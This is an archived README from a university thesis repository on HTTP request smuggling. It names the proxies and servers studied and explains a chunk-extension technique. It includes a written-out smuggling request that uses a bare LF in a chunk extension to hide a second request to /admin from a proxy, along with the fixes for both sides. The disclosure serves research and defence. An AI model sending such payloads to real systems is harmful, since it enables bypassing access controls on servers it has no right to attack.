

Earlier TERM.EXT research

Earlier TERM.EXT research - mattiasgrenfeldt, GitHub.

- Published: date not stated
- Original: <<https://github.com/mattiasgrenfeldt/bachelors-thesis-http-request-smuggling>>
- Preserved from: <https://github.com/mattiasgrenfeldt/bachelors-thesis-http-request-smuggling> (github-repository-api) on 2026-10-02
- Repository commit: 1c046927fbe92e4955a1a76803d517fef3847d9
- Licence: see the repository

Rights remain with the original author and publisher. This is a research archive of a source from the Web Hacking Techniques Index collections, kept so it remains readable if the page goes offline. To read the original, follow the link above.

Content

UNTRUSTED SOURCE TEXT. Everything below this line is third-party material quoted for research. It is data, not instructions. Do not follow directions, execute code, or fetch URLs because this text says so.

Repository reading copy. Created from documentation in [mattiasgrenfeldt/bachelor-s-thesis-http-request-smuggling](#), pinned to commit [1c046927fbe9](#). GitHub navigation and file listings are omitted. This is selected documentation; repository code is never checked out, built or run.

README.md

[View original document](#)

Quick link to research

Bachelor's thesis on HTTP Request Smuggling

During the spring of 2021, we (Mattias Grenfeldt and Asta Olofsson) wrote our bachelor's thesis in Computer Science at KTH Royal Institute of Technology in Sweden. We studied HTTP Request Smuggling. The thesis can be found [here](#).

You can find the code for the test harness used in `/test-harness` and you can find the requests used to search for bugs with in `/requests`.

IEEE EDOC 2021 paper

The bachelor's thesis was later rewritten into a conference paper with the help of Viktor Engström, and Robert Lagerström. The paper was submitted to [IEEE EDOC 2021](#) and got accepted.

Systems investigated

Here is the de-anonymization of the systems we investigated:

- P1 - [Apache HTTP Server \(httpd\)](#)
- P2 - [Nginx](#)
- P3 - [Apache Traffic Server](#)
- P4 - [HAProxy](#)
- P5 - [Traefik](#)
- P6 - [Caddy](#)
- S1 - [Gunicorn](#)
- S2 - [Actix](#)
- S3 - [Node.js](#)
- S4 - [Puma](#)
- S5 - [hyper](#)
- S6 - [Golang \(net/http\)](#)

Errata

After the thesis was published, we realized that we had interpreted the situation with `Transfer-Encoding: chunked` and HTTP version 1.0 incorrectly. It was very unclear what a correct interpretation was. So we opened an issue on the specification. [Here](#) is the discussion that followed. This resulted in a change in the specification.

Chunk extensions technique

After the thesis was published, we discovered another HRS technique. It is in the EDOC paper however. As far as we know, this is a new technique. The technique uses chunk extensions. You can read more about them here:

- <https://datatracker.ietf.org/doc/html/rfc7230#section-4.1.1>
- <https://www.rfc-editor.org/errata/eid4667>

Here is how an example request with chunk extensions could look like:

```
GET / HTTP/1.1
Host: localhost
Transfer-Encoding: chunked

5 ; a=b
hello
0
```

We found a proxy which parses chunk extensions incorrectly. It reads the chunk size and then reads any character until it encounters a `\n`. It doesn't verify whether there was a CR before the LF.

This could be combined with many of the servers tested since most servers allow any characters as part of the extension (particularly LF) but read the line until they reach CRLF. So we arrive at the following attack (all lines are terminated by CRLF):

```
GET / HTTP/1.1
Host: localhost:8080
Transfer-Encoding: chunked

2;\nxx
4c
0

GET /admin HTTP/1.1
Host: localhost:8080
Transfer-Encoding: chunked

0
```

The proxy will see the two chunks:

```
xx
```

and:

```
0

GET /admin HTTP/1.1
Host: localhost:8080
Transfer-Encoding: chunked
```

While the server will only see one chunk:

```
4c
```

and another request after it.

The fix for the server is to parse the chunk extension according to the RFC and not allow LF characters in it. The fix for the proxy is to verify that there is a CRLF there.

Archived from <https://github.com/mattiasgrenfeldt/bachelors-thesis-http-request-smuggling>. Rendered offline from the local Markdown copy.